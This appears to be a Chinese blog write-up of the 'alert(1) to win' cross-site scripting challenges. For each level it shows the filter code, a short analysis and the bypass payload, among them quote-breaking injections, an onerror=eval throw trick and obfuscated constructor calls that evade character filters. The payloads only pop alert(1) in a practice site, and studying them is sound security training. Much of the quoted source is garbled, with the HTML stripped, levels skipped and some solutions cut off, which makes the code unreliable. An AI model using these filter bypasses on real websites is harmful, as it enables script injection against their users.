alert(1) to win

练习网址

用chrome练习,firefox会出现莫名的bug(比如第四题Markdown)

//最后几题静等大佬write-up

0x01 Warmup

  • 源码
function escape(s) {
  return '';
}
  • 分析

直接构造");alert(1)//闭合console.log()

  • 结果
");alert(1)//
alert(1) to win_第1张图片

0x02 Adobe

  • 源码
function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '';
}
  • 分析

replace() 方法用于在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。

这里使用replace函数将"替换成了\"

<>没有影响,直接构造'; }

  • 分析

JSON.stringify() 方法将一个 JavaScript 值(对象或者数组)转换为一个 JSON 字符串,如果指定了 replacer 是一个函数,则可以选择性地替换值,或者如果指定了 replacer 是一个数组,则可选择性地仅包含数组指定的属性。

JSON.stringify会对双引号 " 和转义字符 \ 进行转义,没有对 < > ' / 字符进行处理。

同2,直接构造

  • 结果
Comment#->//
alert(1) to win_第5张图片

0x06 Callback

  • 源码
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/" + thing[0] + "(" + json +")";
}
  • 分析

第一条规则:限定#左边的输入部分只能含有a-zA-Z[]'
第二条规则:定义了一个obj为{'userdata':右}
第三条规则:将#右边的输入部分中含有的<变为\u003c
第四条规则:最后返回形式为
(这个可以测试一下,然后根据实际情况来判断返回结果,这里可以发现事实不是分析的这样)
根据上面三条规则(尤其第二条未限定'的使用),可以构造'a#';alert(1)//,利用' '将中间的一堆式子闭合,然后执行alert(1)

  • 结果
'a#';alert(1)//
alert(1) to win_第6张图片

0x07 Skandia

  • 源码
function escape(s) {
  return '';
}
  • 分析

toUpperCase() 方法用于把字符串转换为大写。

利用html标签对于大小写不敏感的特点。先用将前面的//

  • 结果
">//
alert(1) to win_第7张图片

0x08 Template

  • 源码
function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g, 
        function(_, n) { 
           return htmlEscape(args[n]);
         });
  }
  
  return expandTemplate(
    "                                                \n\
      

Hello, !

\n\ '; }
  • 分析

这里将输入的转为了空,所以可以采取嵌套的方式来绕过。
即可构造")"; }

  • 分析

相比于上面的Callback新增了一个对/的转义,这里的/主要作用是注释,所以解决方式为用(这里是两个-,直接编辑出来有bug)代替\的作用。

  • 结果
'a#';alert(1)\n' +
    '  URL: ' + html(s) + '\n\n' +
    '\n' +
    ''
  );
}
  • 分析
    //没弄清楚,大佬是这样说的。。。
HTML5解析器会将来防止解析器报语法错误。所以可以构造if(alert(1)/*")

利用html解析器进行注入,-->让解析器误认为已经结束了script。
html5会把<语句 (-)-> 中的语句用js引擎去解析。
这里的 /script>'; }

  • 分析

由于\被限制了,所以这里八进制形式不可行,采用另外一种编码方式。详情

  • 结果
");_=''+!1+!0+{}[0]+{};[][_[3]+_[19]+_[6]+_[5]][_[23]+_[19]+_[10]+_[3]+_[5]+_[6]+_[7]+_[23]+_[5]+_[19]+_[6]](_[1]+_[2]+_[4]+_[6]+_[5]+'(1)')()//
alert(1) to win_第15张图片

0x16 RFC4627

  • 源码
function escape(text) {
  var i = 0;
  window.the_easy_but_expensive_way_out = function() { alert(i++) };

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."

  if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
          text.replace(/"(\\.|[^"\\])*"/g, '')))) {
    try { 
      var val = eval('(' + text + ')');
      console.log('' + val);
    } catch (_) {
      console.log('Crashed: '+_);
    }
  } else {
    console.log('Rejected.');
  }
}
  • 分析
    //大佬讲得很好,直接引用了
    主要是通过self调用全局函数the_easy_but_expensive_way_out两次,从而触发alert函数。

据说这题是基于真实的案例,Stefano Di Paola记载在这篇文章中。
仔细看一下这个表达式,它是允许我们输入self的,如果是这样的话,我们就可以通过它来调用全局函数the_easy_but_expensive_way_out了。
这题的技巧就是让一个对象和一个值或者一个字符相加。这样JS引擎就会去计算我们的对象的值,怎么计算呢?就是调用这个对象的valueOf方法,如果我们将valueOf方法定义为题目中的the_easy_but_expenssive_way_out,,就可以触发alert函数了,但是由于是alert(i++),i从0开始,所以我们要调用两次。
solution(103): {"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}
需要提醒的是,第一次是由eval调用,第二次是由console.log调用。

  • 结果
{"valueOf":self["the_easy_but_expensive_way_out"]}+0,{"valueOf":self["the_easy_but_expensive_way_out"]}
alert(1) to win_第16张图片

0x17 Well

  • 源码
function escape(s) {
  http://www.avlidienbrunn.se/xsschallenge/

  s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
  return "';
}
  • 分析

throw 语句允许您创建自定义错误。
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
eval的抛出:
如果参数中没有合法的表达式和语句,则抛出 SyntaxError 异常。
如果非法调用 eval(),则抛出 EvalError 异常。
如果传递给 eval() 的 Javascript 代码生成了一个异常,eval() 将把该异常传递给调用者。

通过throw自定义=alert\x281\x29这个错误字符串产生一个js错误,然后调用分配给onerror的函数eval来处理这个错误字符串(即=alert\x281\x29),最后达到弹框效果。
//这里由于过滤了( ),所以采用转义为十六进制的方式绕过。

  • 结果
";onerror=eval;throw'=alert\x281\x29';//
alert(1) to win_第18张图片

0x19 K'Z'K(1)

  • 源码
// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    return '';
} 
  • 分析

在skandia3的基础上将其中的aeiouy转化为十六进制。
a、e、i、o、u、y的十六进制分别为:\x61,\x65,\x69,\x6f,\x75,\x79
这里直接用skandia3的payload就行。

也可以借助匿名函数和编码来绕过,构造结果为:

");[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()//
  • 结果
");_=''+!1+!0+{}[0]+{};[][_[3]+_[19]+_[6]+_[5]][_[23]+_[19]+_[10]+_[3]+_[5]+_[6]+_[7]+_[23]+_[5]+_[19]+_[6]](_[1]+_[2]+_[4]+_[6]+_[5]+'(1)')()//
alert(1) to win_第19张图片

0x20 K'Z'K (2)

  • 源码
// submitted by Stephen Leppik
function escape(s) {
    // remove vowels and escape sequences in honor of K'Z'K 
    // y is only sometimes a vowel, so it's only removed as a literal
    s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>]/g, '');
    return '';
}
  • 分析

在0x19 K'Z'K (1)的基础上采用双写绕过。

  • 结果
");[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()//
alert(1) to win_第20张图片

0x21 K'Z'K (3)

  • 源码
// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>\\]/g, '');
    return '';
}
  • 分析

过滤了\,无法采用编码的方式绕过,所以采用最原始的构造。

alert(1) to win_第21张图片
  • 结果
");[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()//
alert(1) to win_第22张图片

0x22 Fruit

  • 源码
// CVE-2016-4618
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
    for (var i=0; i
  • 分析

在for循环中,代码通过n.attributes.length来判断边界条件,但是n.attributes.length是动态变化的,如果存在多个属性,则最后一个属性是无法删除的,所以构造多个属性即可。

  • 结果